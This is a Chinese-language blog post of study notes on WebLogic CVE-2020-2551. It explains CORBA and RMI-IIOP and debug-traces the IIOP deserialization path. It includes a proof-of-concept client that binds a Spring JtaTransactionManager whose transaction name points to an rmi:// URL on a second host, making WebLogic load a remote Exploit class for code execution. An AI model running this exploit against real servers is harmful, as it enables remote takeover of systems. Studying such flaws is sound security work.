weblogic-CVE-2020-2551-IIOP反序列化學習記錄

CORBA:

具體的對CORBA的介紹安全客這篇文章https://www.anquanke.com/post/id/199227說的很詳細,但是完全記住是不可能的,我覺得讀完它要弄清以下幾個點:

1.什麼是CORBA?

CORBA全稱(Common ObjectRequest Broker Architecture)也就是公共對象請求代理體系結構,是OMG(對象管理組織)制定的一種標準的面向對象應用程序體系規範。其提出是爲了解決不同應用程序間的通信,曾是分佈式計算的主流技術。

2.CORBA能幹什麼?

實現遠程對象的調用

3.CORBA分爲幾部分?

naming service  //個人感覺類似於RMI的註冊表服務
client side
servant side

4.CORBA的通信流程是怎樣的?

從大體上了解通信流程是怎樣的,這裏借用裏面的圖:

 

1.啓動orbd作爲naming service,會創建name service服務。
2.corba server向orbd發送請求獲取name service,協商好通信格式
3.orbd返回保存的name service
4.corba server拿到name service後將具體的實現類綁定到name service上,這個時候orbd會拿到註冊後的信息,這個信息就是IOR。
5.corba client向orbd發起請求獲取name service。
6.orbd返回保存的name service。
7.corba client在name service中查找已經註冊的信息獲取到“引用”的信息(corba server的地址等),通過orb的連接功能將遠程方法調用的請求轉發到corba server。
8.corba server通過orb接收請求,並利用POA攔截請求,將請求中所指定的類封裝好,同樣通過orb的連接功能返回給corba client。

以上1-4步主要爲服務端參與,即完成服務端去註冊類的信息,每個類對應一個IOR,裏面包含對所註冊的類的描述信息

以上5-8步主要爲客戶端通過orb來獲取name service,然後在註冊信息中查找想要調用的類的“引用”,拿到stub,然後調用方法,經orb傳到服務端被poa攔截後處理只將結果返回給客戶端,所以方法執行不在客戶端,爲rpc(遠程過程調用)

5.CORBA用來進行數據傳輸的協議是什麼?

GIOP全稱(General Inter-ORB Protocol)通用對象請求協議。GIOP針對不同的通信層有不同的具體實現,而針對於TCP/IP層,其實現名爲IIOP(Internet Inter-ORB Protocol)。所以說通過TCP協議傳輸的GIOP數據可以稱爲IIOP。而ORB與GIOP的關係是GIOP起初就是爲了滿足ORB間的通信的協議。所以也可以說ORB是CORBA通信的媒介。

6.什麼是ORB?

orb就是(Object Request Broker)對象請求代理,充當客戶端與服務端通信的媒介,而客戶端或服務端想要調用orb來發送/處理請求就需要Stubskeleton,這兩部分的具體實現就是StubPOA

7.什麼是ORBD?

ORBD可以理解爲ORB的守護進程,其主要負責建立客戶端(client side)與服務端(servant side)的關係,同時負責查找指定的IOR(可互操作對象引用,是一種數據結構,是CORBA標準的一部分)。ORBD是由Java原生支持的一個服務,其在整個CORBA通信中充當着naming service的作用,所以客戶端和服務端要使用ORB,都要指定ORBD的端口和地址。

8.什麼是stub和poa?

Stubclient side調用orb的媒介,POAservant side用於攔截client請求的媒介,而兩者在結構上其實都是客戶端/服務端調用orb的媒介

9.stub的生成方式是什麼?

客戶端stub的生成方式(不只以下三種):

首先獲取NameServer,後通過resolve_str()方法生成(NameServer生成方式)
使用ORB.string_to_object生成(ORB生成方式)
使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

而以上三種方法都可以總結成兩步:

從orbd獲取NameService,NameService中包含IOR
根據IOR的信息完成rpc調用

10.IOR中包含什麼?

type_id:用於指定本次(資料庫或者說是引用)註冊的id(實際上是接口類型,就是用於表示接口的唯一標識符),用於實現類型安全。
Profile_host、Profile_port:servant side地址。
Profile ID:指定了profile_data中的內容,例如這裏的TAG_INTERNET_IOP所指定的就是IIOP Profile。
Codebase:用於獲取stub類的遠程位置。通過控制這個屬性,攻擊者將控制在服務器中解碼IOR引用的類

11.CORBA數據的特點是什麼?

CORBA的數據傳遞與傳統的序列化傳輸方式不同,即在二進制流中沒有ac ed 00 05的標識,所以單純從流量的角度是很難識別的,只能從流量上下文中進行識別。

12.編寫一個Java CORBA IIOP遠程調用步驟:

1.使用idl定義遠程接口
2.使用idlj編譯idl,將idl映射爲Java,它將生成接口的Java版本類以及存根和骨架的類代碼文件,這些文件使應用程序可以掛接到ORB。在遠程調用的客戶端與服務端編寫代碼中會使用到這些類文件。
3.編寫服務端代碼
4.編寫客戶端代碼
5.依次啓動命名服務->服務端->客戶端

由上面的話可以明白服務端掛到ORB上的類必須給客戶端生成用於IIOP通信的客戶端和服務端類,客戶端與服務端的通信依靠着stub,stub從orb中拿

corba的iiop需要字節編寫idl接口,並且編譯成java類,比較麻煩,所以有了rmi-iiop,結合了rmi的優點,RMI-IIOP克服了RMI只能用於Java的缺點和CORBA的複雜性(可以不用掌握IDL)

rmi-iiop例子

服務端代碼:

package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); //設置codebase地址
            //實例化Hello servant
            HelloImpl helloRef = new HelloImpl(); //要綁定的類

            //使用JNDI在命名服務中發佈引用
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); 
            initialContext.rebind("HelloService", helloRef); //通過定義命名 HelloService 對應要綁定的類(實際上綁定的爲實例)

            System.out.println("Hello Server Ready...");

            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); //初始化上下文
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}

客戶端代碼:

package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;

public class HelloClient {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");

            //從命名服務獲取引用,拿到stub
            Object objRef = initialContext.lookup("HelloService"); 
            //narrow引用爲具體的對象
            HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);
            EvilMessage message = new EvilMessage(); //發送該對象到服務端,服務端收到後將會還原該對象,即調用該類的readObject
            message.setMsg("Client call method sayHello...");
            hello.sayHello(message);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}

首先要爲客戶端和服務端針對HelloImpl接口生成爲了進行遠程調用所需要的類

 

 此時新生成了兩個文件,一個tie是服務端用的,一個stub是客戶端用的

 那麼服務端實際上只完成的是匹配sayhello方法和反射調用,客戶端主要定義了服務端可調用的sayhello方法的基本架構,那你客戶端只有拿到這個stub才能調用遠程對象的方法就說的通了,只要將這個類文件託管到orb上,orbd對接收到的客戶端的iiop請求進行匹配,若是請求名是對應爲對該類文件的綁定,則進行該類文件的分發,客戶端拿到該類文件實際上就是拿到stub,然後客戶端本地在通過該stub來實現所謂的遠程調用

然後再啓動orbd進程,作爲實際的orb操作者,監聽1050端口,然後再啓動服務端

 之後啓動客戶端調用sayhello的同時發送message對象,此時因爲服務端收到message對象

並且調用了其readObject方法,當然這裏作爲實驗只是重寫了readObject方法,那麼如果服務器端本地有可以利用的gadget,並且可調用的方法的入口參數也爲object類型,那麼同樣可以打,但是這裏和之前學習rmi調用時存在的洞很類似,利用的限制條件還是比較高的,首先客戶端也要有你服務器端反序列化的該類的定義,並且報名類名得完全一致纔可以

 

 後面也示範了動態類加載的機制,也就是和rmi一樣,反序列化過程中本地找不到需要的class將去codebase指定的地址進行記載。

Weblogic中的RMI-IIOP

Weblogic默認是開啓了iiop協議的,但是如果想要如上述流程來打weblogic,那麼就要找到weblogic中綁定到orb的類必須得給客戶端和服務端生成遠程調用的兩種類,然而Weblogic默認綁定了遠程名稱的實現類沒有爲IIOP實現服務端類與客戶端類,但是沒有綁定的一些類卻實現了,所以默認無法利用了的正是服務端去綁定類的時黑名單的繞過,weblogic安裝可以參考https://blog.csdn.net/acmman/article/details/70093877這篇文章,因爲要對weblogic進行debug,因此在user_projects\domains\base_domain的startWebLogic.cmd文件中中設置debug標誌

 

接下來配置idea,添加debug要依賴的jar包

添加debug鏈接選項,端口就寫上面weblogic開的debug端口

 

poc:

public class Main {
    public static void main(String[] args) throws Exception {
        String ip = "192.168.3.247";
        String port ="7001";
        String rmiurl = "rmi://192.168.3.199:1099/Exploit";
        String rhost = String.format("iiop://%s:%s", ip, port);
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", rhost);
        Context context = new InitialContext(env);
        
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(rmiurl);
        context.bind("tr1ple", jtaTransactionManager);

}
    }

這裏用到了一個入口類org.springframework.transaction.jta.JtaTransactionManager,該類在之前在spring裏就爆出過jndi

spring-jndi:

先本地測試一下這個類:

這裏需要添加兩個依賴:

    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-tx</artifactId>
        <version>4.2.4.RELEASE</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.springframework/spring-context -->
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-context</artifactId>
        <version>4.2.4.RELEASE</version>
    </dependency>

調用棧如下所示:

 

那麼首先進入該類的initUserTransactionAndTransactionManager方法中

 

然後將進入this.lookupUserTransaction方法中,因爲this.userTransaction默認爲null

 

那麼此時就看到熟悉的lookup函數了,並且此時的userTransactionName又是可控的,所以妥妥的JNDI注入

 

 

那麼本地起個rmi referver即可,那麼在getObjectFactoryFromReference函數中就會到rmi server指定的codebase去加載工廠類

最終通過newInstance實例化工廠類從而觸發calc

 

 

 

cve-2020-2551:

首先根據poc的bind函數下端點,看一下要進行什麼操作,因爲在獲取上下文時poc已經要與orb進行一次通信,所以此時數據包:

首先客戶端192.168.3.199向weblogic 192.168.3.247請求locaterequest,這裏實際上是請求nameservice

然後orb返回的數據包中包含命名上下文和ior

 

然後步入bind函數:

 這裏實際上是調用orb返回的命名上下文將我們指定的JtaTransactionManager實例向orb進行綁定

 接下來在bind_any函數中進行序列化數據的構造,這裏可以看到weblogic用的序列化輸出流是iiopOutputstream,所以在網絡中傳輸的數據流中是看不到原生objectoutputsteam的magic頭部的

接着調用iiopOutputstream的write_any函數寫入jta類,進一步在weblogic/corba/idl/AnyImpl的write_value中寫入序列化數據

接着調用_invoke發送序列化數據

並最終調用EndpointImpl的send函數發送上文構造的iiopoutputstream,可以看到裏面的giop數據已經在本地構造完成,所以此時199將給orb發送一條giop消息,進行jta類實例的綁定

那麼此時對於weblogic而言應該接受到了giop消息,所以要對其進行處理,那麼序列化用的是iiopoutputstream,那麼反序列化應該用的是iiopInputstream輸入流,因此找到該類的read_any處下斷點併發送poc

 

 和序列化相對應,此時實例化AnyImpl實例調用其read_value讀取序列化數據,並且在ValueHandlerImpl.readValue中從iiopStream中拿到objectInputstream然後調用jta類的readObject進行反序列化

 

接下來就是之前講的spring的jndi,weblogic加載Exploit.class從而進行rce

 

 

總結: 

整個攻擊過程就是假冒服務端來進行類實例的綁定而與weblogic進行giop通信發送序列化數據,而weblogic接收到序列化數據再進行實例還原,整個流程沒問題,主要還是weblogic本身在反序列化是沒有對類黑名單做好限制。當然在分析過程中抓包來分析通信也更能清晰瞭解網絡通信流程,也更有助於我們理解漏洞原理。

參考:

1.https://www.anquanke.com/post/id/196555 講java corba的文章

2.https://www.anquanke.com/post/id/175738  基於攻擊流量和日誌對Weblogic各類漏洞的分析思路

3.https://www.anquanke.com/post/id/177546  WebLogic 多個CVE XXE漏洞分析

4.https://www.anquanke.com/post/id/180725   淺談Weblogic反序列化——XMLDecoder的繞過史

5.https://www.anquanke.com/post/id/195865#h2-2  t3反序列化

7.https://www.anquanke.com/post/id/199227 講corba的原理

9.https://www.anquanke.com/post/id/184068#h2-14 講weblogic 很詳細

10.https://blog.csdn.net/acmman/article/details/70093877 weblogic安裝

11.https://www.anquanke.com/post/id/199966 cve 2020-2551 

12.https://xz.aliyun.com/t/7374#toc-9  cve 2020-2551 

13.https://www.anquanke.com/post/id/199695#h3-2   cve 2020-2551

14.https://www.anquanke.com/post/id/197605  iiop反序列化

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章